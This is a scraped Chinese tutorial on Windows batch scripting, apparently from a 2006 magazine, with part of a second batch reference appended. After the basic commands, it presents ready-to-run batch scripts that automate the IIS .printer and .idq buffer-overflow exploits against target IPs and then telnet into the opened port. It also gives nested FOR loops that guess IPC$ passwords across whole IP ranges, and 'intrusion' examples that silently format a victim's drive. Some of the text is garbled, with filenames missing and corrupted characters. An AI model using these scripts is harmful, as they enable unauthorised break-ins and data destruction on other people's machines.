admin 管理员组

文章数量: 887021


2023年12月21日发(作者:vb activex控件是什么)

命令详解

最近好多猜测弱口令的病毒在网上流行,比如前段时间闹得很厉害的 蠕虫就是一个典型。这些病毒有个共同点就是利用批处理来进行ipc$连接,从而来猜测管理员的口令达到控制服务器的目的。病毒由几个文件和几个复杂的批处理组成。批处理算不上真正意义上的编程,但是它的一些思想和编程比较近似。通过在网上和一些初学的朋友交流,发现他们对于批处理很感兴趣,多多少少了解一些命令的用法,但缺乏比较系统的了解,所以特意写下这篇教程,好让感兴趣的朋友对批处理有个整体的认识,并能通过该教程举一反三,写出自己的批处理。

该教程一共分为4大部分,第一部分是批处理的专用命令,第二部分是特殊的符号与批处理,第三部分是批处理与变量,第四部分是完整案例。因为教程比较长,所有在杂志上我们将分为两次连载,本期首先刊登一、二两部分,敬请读者注意。

第一部分:批处理的专用命令

批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。

1、 REM

REM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例:

REM 你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。

2、 ECHO

ECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息 。例:

Echo off

Rem 以上代表关闭回显即不显示所执行的命令

Echo 这个就是消息。

Rem 以上代表显示“这就是消息”这列字符

执行结果:

C:>

这个就是消息。

3、 GOTO

GOTO 即为跳转的意思。在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。例

:LABEL

REM 上面就是名为LABEL的标号。

DIR C:

DIR D:

GOTO LABEL

REM 以上程序跳转标号LABEL处继续执行。

4、CALL

CALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例:

批处理内容如下:

ECHO 这就是2的内容

批处理内容如下:

ECHO 这是1的内容

CALL

ECHO 1和2的内容全部显示完成

执行结果如下:

C:>

这是1的内容

这就是2的内容

1和2的内容全部显示完成

5、PAUSE

PAUSE 停止系统命令的执行并显示下面的内容。例:

C:> PAUSE

请按任意键继续 . . .

6、 IF

IF 条件判断语句,语法格式如下:

IF [NOT] ERRORLEVEL number command

IF [NOT] string1==string2 command

IF [NOT] EXIST filename command

说明:

[NOT] 将返回的结果取反值即“如果没有”的意思。

ERRORLEVEL 是命令执行完成后返回的退出值

Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。

string1==string2 string1和string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的 command

EXIST filename 为文件或目录存在的意思。

IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。

例:

1、 IF [NOT] ERRORLEVEL number command

检测命令执行完后的返回值做出判断。

echo off

dir z:

rem 如果退出代码为1(不成功)就跳至标题1处执行

IF ERRORLEVEL 1 goto 1

rem 如果退出代码为0(成功)就跳至标题0处执行

IF ERRORLEVEL 0 goto 0

:0

echo 命令执行成功!

Rem 程序执行完毕跳至标题exit处退出

goto exit

:1

echo 命令执行失败!

Rem 程序执行完毕跳至标题exit处退出

goto exit

:exit

Rem 这里是程序的出口

2、 IF string1==string2 command

检测当前变量的值做出判断

ECHO OFF

IF %1==2 goto no

Echo 变量相等!

Goto exit

:no

echo 变量不相等

goto exit

:exit

大家可以这样看效果 C:> 数字

3、 IF [NOT] EXIST filename command

发现特定的文件做出判断

echo off

IF not EXIST goto 1

echo 文件存在成功!

goto exit

:1

echo 文件不存在失败!

goto exit

:exit

这个批处理大家可以放在c盘和d盘分别执行看看效果。

7、 FOR

FOR这个命令比较特殊是一个循环执行命令的命令,同时FOR的循环里面还可以套用FOR在进行循环。这篇我们介绍基本的用法就不做套用的循环了,后面再来讲解套用的循环。在批处理中FOR的命令如下:

FOR [%%c] IN (set) DO [command] [arguments]

在命令行中命令如下:

FOR [%c] IN (set) DO [command] [arguments]

常用参数:

/L 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4

5,(5,-1,1) 将产生序列 (5 4 3 2 1)。

/D 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

/F 从指定的文件中读取数据作为变量

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。

usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。

下面来看一个例子:

FOR /F "eol=; tokens=2,3* delims=, " %i in () do @echo %i %j %k

会分析 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i

来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量名分大小写,是通用的;而且,同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的

filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 ,其输出会被抓进内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

以下列举一个简单的例子,他将说明参数/L和没有参数的区别:

删除文件

例:

ECHO OFF

FOR /L %%F IN (1,1,5) DO DEL %%

FOR %%F IN (1,2,3,4,5) DO DEL %%

以上2条命令执行的结果都是一样的如下:

C:>DEL

C:>DEL

C:>DEL

C:>DEL

C:>DEL

8、 SETLOCAL

开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后

所做的环境改动只限于批处理文件。要还原原先的设置,必须执

行 ENDLOCAL。 达到批处理文件结尾时,对于该批处理文件的每个

尚未执行的 SETLOCAL 命令,都会有一个隐含的 ENDLOCAL 被

执行。例:

@ECHO OFF

SET PATH /*察看环境变量PATH

PAUSE

SETLOCAL

SET PATH=E:TOOLS /*重新设置环境变量PATH

SET PATH

PAUSE

ENDLOCAL

SET PATH

从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:TOOLS后显示为E:TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。

9、 SHIFT

SHIFT命令可以让在命令上的的命令使用超过10个(%0~%9)以上的可替代参数例:

ECHO OFF

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

执行结果如下:

C::> 1 2 3 4 5 6 7 8 9 10 11

1 2 3 4 5 6 7 8 9

2 3 4 5 6 7 8 9 10

3 4 5 6 7 8 9 10 11

以上就是基于WIN2000下的9个批处理命令。

第二部分:特殊的符号与批处理

在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。

1、 符号(@)

@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off可以关掉整个批处理的命令回显但却不能不显示echo off这个命令。现在我们在这个命令前加上@这样echo

off这一命令就被@关闭了回显从而达到所有命令均不回显得要求

2、 符号(>)

>的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例:

文件的文件内容为:

1+1

使用命令c:>dir *.txt >

这时候的内容如下

驱动器 C 中的卷没有标签。

卷的序列号是 301A-1508

C: 的目录

2003-03-11 14:04 1,005

2003-04-04 16:38 18,598,494

2003-04-04 17:02 5

2003-03-12 11:43 0

2003-03-30 00:35 30,571

5 个文件 18,630,070 字节

0 个目录 1,191,542,784 可用字节

>将命令执行的结果覆盖了原始的文件内容。

在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例:

C:>dir *.txt >nul

程序将没有任何显示也不会产生任何痕迹。

3、 符号(>>)

符号>>的作用与符号>相似,但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台(用法同上)例:

文件内同为:

1+1

使用命令c:>dir *.txt >>

这时候的内容如下

1+1

驱动器 C 中的卷没有标签。

卷的序列号是 301A-1508

C: 的目录

2003-03-11 14:04 1,005

2003-04-04 16:38 18,598,494

2003-04-04 17:02 5

2003-03-12 11:43 0

2003-03-30 00:35 30,571

5 个文件 18,630,070 字节

0 个目录 1,191,542,784 可用字节

>>将命令执行的结果覆加在了原始的文件内容后面。

4、 符号(|)

|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例:

C:>dir c:|find "1508"

卷的序列号是 301A-1508

以上命令的意思为查找c:的所有并发现1508字符串。Find的用法请用 find /?自行查看

在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的

echo y|fornat a: /s /q /v:system

用过format命令的人都知道format有一个交互对化过程,要使用者输入y来确定当前的命令是否被执行。在这个命令前加上echo y并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的(这条命令有危害性,测试的时候请谨慎)

5、 符号(^)

^ 是对特殊符号 > 、<、 &、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例:

c:>echo test ^>

test >

从上面可以看出并没有把test写入文件而是将test > 当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。

6、 符号(&)

&符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行。例:

c:> dir z: &dir y: &dir c:

以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。

7、 符号(&&)

&&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。例:

c:> dir z: &&dir y: &&dir c:

以上的命令将会提示检查是否存在z:盘如果存在则执行,如果不存在则停止执行所有的后续命令

8、 符号(" ")

" "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:

c:>cd “Program Files”

c:>cd progra~1

c:>cd pro*

以上方法都可以进入Program Files目录

9、 符号(,)

,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例:

c:>dir,c:

10、 符号(;)

;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例:

DIR C:;D:;E:F:

以上的命令相当于

DIR C:

DIR D:

DIR E:

DIR F:

当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。

第三部分:批处理与变量

在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下:

C::> 1 2 3 4 5 6 7 8 9 10 11

1 2 3 4 5 6 7 8 9

1 2 3 4 5 6 7 8 9 10

2 3 4 5 6 7 8 9 10 11

系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例:

批处理内容为:

ECHO %1

ECHO %2

ECHO %3

输入命令:

C:>TEST “Program Files” Program Files

Program Files

Program

Files

在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%或%SystemRoot%等。当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如 SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下:

ECHO OFF

SET PASS=%1

SHIFT

SET PASS1=%1

SHIFT

ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %PASS% %PASS1% %9

SET PASS=%PASS1% 变量的传递

SET PASS1=%9

SHIFT

ECHO %PASS% %PASS1% %9

使用命令:C:>TEST A B 3 4 5 6 7 8 9 10 K L

A B 3 4 5 6 7 8 9 10 K 注意:这一行显示了11个变量

A B L 在使用了3次SHIFT之后%9变成了L

B L 变量的传递后的结果

-- 作者:hamgbbg

-- 发布时间:2006-5-24 16:50:27

--

第四部分:完整案例

以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。

例一

这个例子是利用对有.printer漏洞的主机进行溢出的批处理。用到的程序有和系统自带的。iis5hack的命令格式为:

iis5hack <目标ip> <目标端口> <目标版本> <溢出连接端口>目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为 开始版本号可有可无。程序如下。

@echo off /*关闭命令回显

if "%1%"=="" goto help /*判断%1是否为空,%1为目标ip

if "%2%"=="1" goto 1 /*判断%2是否为1,为1则跳转标志1

if "%2%"=="2" goto 2 /*%2为开始版本号,如果没有设置则

if "%2%"=="3" goto 3 /*如果存在则从匹配的地方开始执行

if "%2%"=="4" goto 4

if "%2%"=="5" goto 5

if "%2%"=="6" goto 6

if "%2%"=="7" goto 7

if "%2%"=="8" goto 8

if not EXIST goto file /*没有发现就执行标志file段内容

ping %1 -n 1 | find "Received = 1" /*ping目标1次,从结果中发现Received = 1

if errorlevel 1 goto error /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行)

iis5hack %1 80 9 88 | find "good" /*开始溢出目标端口80 系统代码9 溢出后连接端口88

在执行结果中发现字符串”good”(溢出成功后才会有字符串good)

if not errorlevel 1 goto telnet /*如果没有错误代码1(溢出成功)就执行telnet段的内容。

echo 操作系统类型 9 失败! /否则显示这一句

:8 /*以下代码内容参照上面

iis5hack %1 80 8 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 8 失败!

:7

iis5hack %1 80 7 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 7 失败!

:6

iis5hack %1 80 6 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 6 失败!

:5

iis5hack %1 80 5 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 5 失败!

:4

iis5hack %1 80 4 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 4 失败!

:3

iis5hack %1 80 3 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 3 失败!

:2

iis5hack %1 80 2 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 2 失败!

:1

iis5hack %1 80 1 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 1 失败!

:0

iis5hack %1 80 0 88 | find "good"

if not errorlevel 1 goto telnet

echo 操作系统类型 0 失败!

goto error

:telnet

telnet %1 88 /*开始连接目标ip的88端口

goto exit /*连接中断后跳转exit段

:error /*error段显示错误后的帮助信息

echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!

echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口]

ECHO 中文: 0

ECHO 中文+sp1: 1

ECHO 英文: 2

ECHO 英文+sp1: 3

ECHO 日语: 4

ECHO 日语+sp1: 5

ECHO 韩文: 6

ECHO 韩文+sp1: 7

ECHO 墨西哥语: 8

ECHO 墨西哥语+sp1: 9

goto exit /*跳转exit段

:file /*file段显示文件没有发现的信息

echo 文件没有发现!程序终止运行!

goto exit /*跳转exit段

:help /*help段显示本批处理的使用格式帮助

echo 本程序用法如下:

echo iis [目标ip]

echo iis [目标ip] [开始的号码9-0]

:exit /*exit段为程序出口

这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!

例二

这个例子是用对有idq漏洞的机器进行溢出的批处理。使用的程序有和系统自带的程序。的用法如下:

运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>

其中,如果输入命令参数没有输入,那么,默认为:""。

其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 程序如下:

@echo off /*同例一

if not EXIST goto file /*同例一

if %1 == "" goto error /*同例一

ping %1 -n 1 | find "Received = 1" /*同例一

if errorlevel 1 goto error1 /*同例一

set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip

set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。

:no /*no段开始

if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0。

if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码,用计数器来控制其

if %a%==2 set d=2 /*变动。

if %a%==3 set d=3

if %a%==4 set d=4

if %a%==5 set d=5

if %a%==6 set d=6

if %a%==7 set d=7

if %a%==9 set d=9

if %a%==10 set d=13

if %a%==11 set d=14

goto 0 /*变量传递完成后转到标志0处运行

:1

echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候......

:0 /*标志0开始

IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good)

if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳

/*转标志1处继续尝试发送

ping 127.0.0.1 -n 8 >nul /*ping自己8次相当于延时8秒不显示执

/*行结果

echo 正在执行第%d%项! /*报告正在溢出的操作系统类型

telnet %b% 99 /*连接溢出端口

echo. /*显示一个空行

if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处(循环出口)

if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值

if %d%==9 set a=10

if %d%==7 set a=9

if %d%==6 set a=7

if %d%==5 set a=6

if %d%==4 set a=5

if %d%==3 set a=4

if %d%==2 set a=3

if %d%==1 set a=2

if %d%==0 set a=1

goto no /*附值完成跳转no段执行

:file /*以下都是出错后的帮助提示

echo 没有发现!将该文件和本文件放在同一目录!

goto exit

:error

echo 错误!目标ip不可识别!请使用下面的格式连接!

echo idq [目标IP]

goto exit

:error1

echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!

echo 请按照下面的格式手工尝试!

echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口]

echo telnet [目标ip] [溢出端口]

:exit /*整个程序的出口

这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。

例三

for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f

"tokens=1,2*" %%e in () do net use %1.%%a.%%b.%%cipc$ %%e

/u:%%f

上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:> 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc)

net usr 218.0.0.1ipc$ 123 /u:abc

当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改(完整文件见光盘)由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强,至于能加强到什

么地步能不能成为一个新的工具那就是你的事了。

这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦!最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了!!简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长!

后记:

批处理的语法其实很简单,但需要灵活的运用。希望这篇教程能让大家以后都熟练的使用批处理,一些基本的问题可以*自己的能力去解决。这样我的目的也就达到了!!哈哈!大家快乐才是真的快乐

Windows批处理大全(附各种实例)

打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。

语法

echo [{on|off}] [message]

Sample:@echo off / echo hello world

在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令

表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。

Sample:@echo off

@echo Now initializing the program,please wait

@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

命令

指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

语法:goto label (label是参数,指定所要转向的批处理程序中的行。)

Sample:

if {%1}=={} goto noparms

if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)

@Rem check parameters if null show usage

:noparms

echo Usage: ServerIP PortNumber

goto end

标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

命令

注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。

Rem Message

Sample:@Rem Here is the descr1ption.

命令

运行 Pause 命令时,将显示下面的消息:

Press any key to continue . . .

Sample:

@echo off

:begin

copy a:*.* d:back

echo Please put a new disk into driver A

pause

goto begin

在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按我饧绦怼?

命令

从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

语法

call [Drive:][Path] FileName [BatchParameters] [:label [arguments]

参数

[Drive:}[Path] FileName

指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

命令

调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。

入侵常用参数:

MIN 开始时窗口最小化

SEPARATE 在分开的空间内开始 16 位 Windows 程序

HIGH 在 HIGH 优先级类别开始应用程序

REALTIME 在 REALTIME 优先级类别开始应用程序

WAIT 启动应用程序并等候它结束

parameters 这些为传送到命令/程序的参数

执行的应用程序是 32-位 GUI 应用程序时, 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

命令

choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

如: choice /c:dme defrag,mem,end

将显示

defrag,mem,end[D,M,E]?

Sample:

的内容如下:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (应先判断数值最高的错误码)

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:dosdefrag

goto end

:mem

mem

goto end

:end

echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

1、if "参数" == "字符串" 待执行的命令

参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)

如if "%1"=="a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2、if exist 文件名 待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如if exist edit

3、if errorlevel / if not errorlevel 数字 待执行的命令

如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

如if errorlevel 2 goto x2

DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

命令

for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]

%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

FOR /R [drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。

因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生

序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN ('command') DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。

usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。

sample1:

FOR /F "eol=; tokens=2,3* delims=, " %i in () do command

会分析 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的

filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成

一个反括字符串。该字符串会被当作命令行,传递到一个子 ,其输出会被抓进内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:

~I - 删除任何引号("),扩充 %I

%~fI - 将 %I 扩充到一个完全合格的路径名

%~dI - 仅将 %I 扩充到一个驱动器号

%~pI - 仅将 %I 扩充到一个路径

%~nI - 仅将 %I 扩充到一个文件名

%~xI - 仅将 %I 扩充到一个文件扩展名

%~sI - 扩充的路径只含有短名

%~aI - 将 %I 扩充到文件的文件属性

%~tI - 将 %I 扩充到文件的日期/时间

%~zI - 将 %I 扩充到文件的大小

%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径

%~nxI - 仅将 %I 扩充到一个文件名和扩展名

%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名

%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。

%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:

利用For命令来实现对一台目标Win2k主机的暴力密码破解。

我们用net use ipipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。

最主要的命令是一条:for /f i% in () do net use ipipc$ "i%" /u:"administrator"

